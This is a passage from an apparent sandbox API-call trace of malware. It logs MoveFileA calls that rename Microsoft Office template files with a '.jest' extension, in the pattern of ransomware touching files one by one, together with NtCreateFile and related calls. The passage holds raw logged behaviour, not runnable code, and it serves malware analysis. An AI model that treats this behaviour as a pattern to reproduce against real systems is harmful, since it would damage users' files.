ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.945] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx.jest")) returned 1 [0163.947] VarBstrFromR4 (in: fltIn=0x479456cc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.59") returned 0x0 [0163.948] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FIoV7g7CztsNFFF5oayCFm5OL97XCThFFLEJY66ZPY8c5C8Qr3nv-xCgzqIt iCa8zB8N2qjdXihZLNfSSxuln-4hanN_oSZ9Ga2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fiov7g7cztsnfff5oaycfm5ol97xcthfflejy66zpy8c5c8qr3nv-xcgzqit ica8zb8n2qjdxihzlnfssxuln-4hann_osz9ga2.tmp")) returned 0 [0163.948] GetLastError () returned 0x2 [0163.948] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.949] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx.jest")) returned 1 [0163.951] VarBstrFromR4 (in: fltIn=0x479456ce, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.61") returned 0x0 [0163.952] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2nuu1zIgJs2xXF7_PwYXsjBSN11cd kvfUw9ltTGQ2Qb5R2bGq_8Z0_47EAyUOmn7Jr01n3THIJVmEBGHH0SOhqkzQ1j7-NfBGswU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2nuu1zigjs2xxf7_pwyxsjbsn11cd kvfuw9lttgq2qb5r2bgq_8z0_47eayuomn7jr01n3thijvmebghh0sohqkzq1j7-nfbgswu.tmp")) returned 0 [0163.952] GetLastError () returned 0x2 [0163.952] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.954] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx.jest")) returned 1 [0163.956] VarBstrFromR4 (in: fltIn=0x479456ce, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.61") returned 0x0 [0163.957] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FPp-4NV_lRBY2efir0hpKz7duKg_q6wZZ_-yWsOd9n7lEgzfOD Lt2VQEzihWhcBMbrUZekJUq6f-XdjiXePHxX07-xcUZLkTUuBV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fpp-4nv_lrby2efir0hpkz7dukg_q6wzz_-ywsod9n7legzfod lt2vqezihwhcbmbruzekjuq6f-xdjixephxx07-xcuzlktuubv.tmp")) returned 0 [0163.957] GetLastError () returned 0x2 [0163.957] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﮝ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.959] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\medianfax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\medianfax.dotx.jest")) returned 1 [0163.960] VarBstrFromR4 (in: fltIn=0x479456ce, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.61") returned 0x0 [0163.961] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\medianfax.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Cl7A0CU0lkC5CXl LUhrNrVRvvstS5DjNqNfrfGXGWjRbgXDNJ6ZIptqhvk ECBSzGgDP3pqq8vw kVC6IINF9pX39Uiub v_Jv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cl7a0cu0lkc5cxl luhrnrvrvvsts5djnqnfrfgxgwjrbgxdnj6ziptqhvk ecbszggdp3pqq8vw kvc6iinf9px39uiub v_jv.tmp")) returned 0 [0163.962] GetLastError () returned 0x2 [0163.962] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.963] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianLetter.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianletter.dotx.jest")) returned 1 [0163.965] VarBstrFromR4 (in: fltIn=0x479456d1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.63") returned 0x0 [0163.967] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Po9Cc4g9Z1EegNW_wcGPpkfnrYfbkVVG7s5hQuuKvRyTGHsqa_ik7kVLDrHqhXuMka9d0b2khDXueE4 Q1h0CpNumXC _nIQj3HMV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\po9cc4g9z1eegnw_wcgppkfnryfbkvvg7s5hquukvrytghsqa_ik7kvldrhqhxumka9d0b2khdxuee4 q1h0cpnumxc _niqj3hmv.tmp")) returned 0 [0163.967] GetLastError () returned 0x2 [0163.967] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.969] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergefax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeFax.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergefax.dotx.jest")) returned 1 [0163.970] VarBstrFromR4 (in: fltIn=0x479456d1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.63") returned 0x0 [0163.971] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergefax.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-kf-iNn8dlzQKmYT9DbUDCwfco5lmm-g2IHkxbOnG wP8j9zImCDbOMzmbZ2T1f5jVgzPOGBzS-BS0lwYGky_zgfCO4_C5QNtrR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-kf-inn8dlzqkmyt9dbudcwfco5lmm-g2ihkxbong wp8j9zimcdbomzmbz2t1f5jvgzpogbzs-bs0lwygky_zgfco4_c5qntrr.tmp")) returned 0 [0163.972] GetLastError () returned 0x2 [0163.972] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.973] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeLetter.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergeletter.dotx.jest")) returned 1 [0163.975] VarBstrFromR4 (in: fltIn=0x479456d1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.63") returned 0x0 [0163.976] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergeletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\r-VhzZd gl_6woKh6y25JnUGdfmF5OzxofXVrWt PMv6UrSPVjEj09tZG23-hSmIVo63n6MLZx1RXptHYwRkERSPT2-qQZ1_s-90l.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r-vhzzd gl_6wokh6y25jnugdfmf5ozxofxvrwt pmv6urspvjej09tzg23-hsmivo63n6mlzx1rxpthywrkerspt2-qqz1_s-90l.tmp")) returned 0 [0163.976] GetLastError () returned 0x2 [0163.977] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.978] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianReport.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianreport.dotx.jest")) returned 1 [0163.980] VarBstrFromR4 (in: fltIn=0x479456d1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.63") returned 0x0 [0163.981] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianreport.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0m583-39DZ122A4ObJ5JLcmbFR87HtzRMwfnsGTZ63xXhoGgzpnIOgxRbrgLT-Q9vGJx6cB211ehojaSgqkLAGpdUS7tjUvBd 5E.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0m583-39dz122a4obj5jlcmbfr87htzrmwfnsgtz63xxhoggzpniogxrbrglt-q9vgjx6cb211ehojasgqklagpdus7tjuvbd 5e.tmp")) returned 0 [0163.981] GetLastError () returned 0x2 [0163.982] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.983] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianResume.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianresume.dotx.jest")) returned 1 [0163.985] VarBstrFromR4 (in: fltIn=0x479456d2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.64") returned 0x0 [0163.986] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianresume.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n7jRhbG1pUL5QEqmM5xu0d pAPsFMQkDv6K0yFqLybEuV_v4uuqB7hbE7fe8cgZUlU4w2ouIXnjB n0Htq7BLiUHMTaFPavyXzEJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n7jrhbg1pul5qeqmm5xu0d papsfmqkdv6k0yfqlybeuv_v4uuqb7hbe7fe8cgzulu4w2ouixnjb n0htq7bliuhmtafpavyxzej.tmp")) returned 0 [0163.986] GetLastError () returned 0x2 [0163.987] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.988] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx.jest")) returned 1 [0163.990] VarBstrFromR4 (in: fltIn=0x479456d2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.64") returned 0x0 [0163.991] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pTLPyy0_nZo2UX0xPKlemDzG19dcIU8SBNU38kNgPgMZFDJOJJbstCji8X6Z7iylsfsxHDjy Gppu5_-h-RhZHsRsJtqykYfHwH7d.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ptlpyy0_nzo2ux0xpklemdzg19dciu8sbnu38kngpgmzfdjojjbstcji8x6z7iylsfsxhdjy gppu5_-h-rhzhsrsjtqykyfhwh7d.tmp")) returned 0 [0163.992] GetLastError () returned 0x2 [0163.992] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.994] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx.jest")) returned 1 [0163.996] VarBstrFromR4 (in: fltIn=0x479456d2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.64") returned 0x0 [0163.997] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6r2Q5D3sSAgco_5GfjRCeYPPW8ggC43KbYo6L-7_yc7FeeUsR7tCZPgvvS2zUPHkYR3FiRgu_eJeko5BGlrA4phBm 1vriMGNTQhl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6r2q5d3ssagco_5gfjrceyppw8ggc43kbyo6l-7_yc7feeusr7tczpgvvs2zuphkyr3firgu_ejeko5bglra4phbm 1vrimgntqhl.tmp")) returned 0 [0163.997] GetLastError () returned 0x2 [0163.997] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﮝ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\orielfax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\orielfax.dotx.jest")) returned 1 [0164.001] VarBstrFromR4 (in: fltIn=0x479456d4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.66") returned 0x0 [0164.002] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\orielfax.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MQK_b1JHPVJ9i1Vsy8i6ZAu8-GjBbAgZtKBtZLT nA6AFY1LwJWwLcuh8COI33Q8dAQD-hGD7G1qg0xjfNp2oxGjBaIIVJkFEWWm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqk_b1jhpvj9i1vsy8i6zau8-gjbbagztkbtzlt na6afy1lwjwwlcuh8coi33q8daqd-hgd7g1qg0xjfnp2oxgjbaiivjkfewwm.tmp")) returned 0 [0164.002] GetLastError () returned 0x2 [0164.003] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.004] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielLetter.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielletter.dotx.jest")) returned 1 [0164.006] VarBstrFromR4 (in: fltIn=0x479456d4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.66") returned 0x0 [0164.007] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y7GDmecUX8Yy5xhWc_okNWs-2E9ziIDqo_C-TQU6BE1Wjxf-H_ThpcXC7kc_gR2jHIGm4BsLKF3wcqSyXdkMVlx6gWHjS neeRGoK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y7gdmecux8yy5xhwc_oknws-2e9ziidqo_c-tqu6be1wjxf-h_thpcxc7kc_gr2jhigm4bslkf3wcqsyxdkmvlx6gwhjs neergok.tmp")) returned 0 [0164.008] GetLastError () returned 0x2 [0164.008] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.010] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergefax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeFax.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergefax.dotx.jest")) returned 1 [0164.012] VarBstrFromR4 (in: fltIn=0x479456d6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.67") returned 0x0 [0164.013] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergefax.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jP8KZ_RvckeKNYoO2qUghZH1ZYK5RkL5t-FqDW4jSAX5j-Fg5QiPsCQWSldNmzG75lw28cnzep4s3OiNrumWWmsQXz_7s6jlZlvs.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jp8kz_rvckeknyoo2qughzh1zyk5rkl5t-fqdw4jsax5j-fg5qipscqwsldnmzg75lw28cnzep4s3oinrumwwmsqxz_7s6jlzlvs.tmp")) returned 0 [0164.013] GetLastError () returned 0x2 [0164.014] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeLetter.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergeletter.dotx.jest")) returned 1 [0164.021] VarBstrFromR4 (in: fltIn=0x479456d6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.67") returned 0x0 [0164.022] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergeletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FfM_-gwWBHQkN4GkusLM0tWdD9TTnEwwD4XTK boi5X9VCCscxS1Jzi9BMokwH_KGqTnGX-bHLOuUg0_vntsXw9McEOHUXfZMrMe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ffm_-gwwbhqkn4gkuslm0twdd9ttnewwd4xtk boi5x9vccscxs1jzi9bmokwh_kgqtngx-bhlouug0_vntsxw9mceohuxfzmrme.tmp")) returned 0 [0164.023] GetLastError () returned 0x2 [0164.023] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) 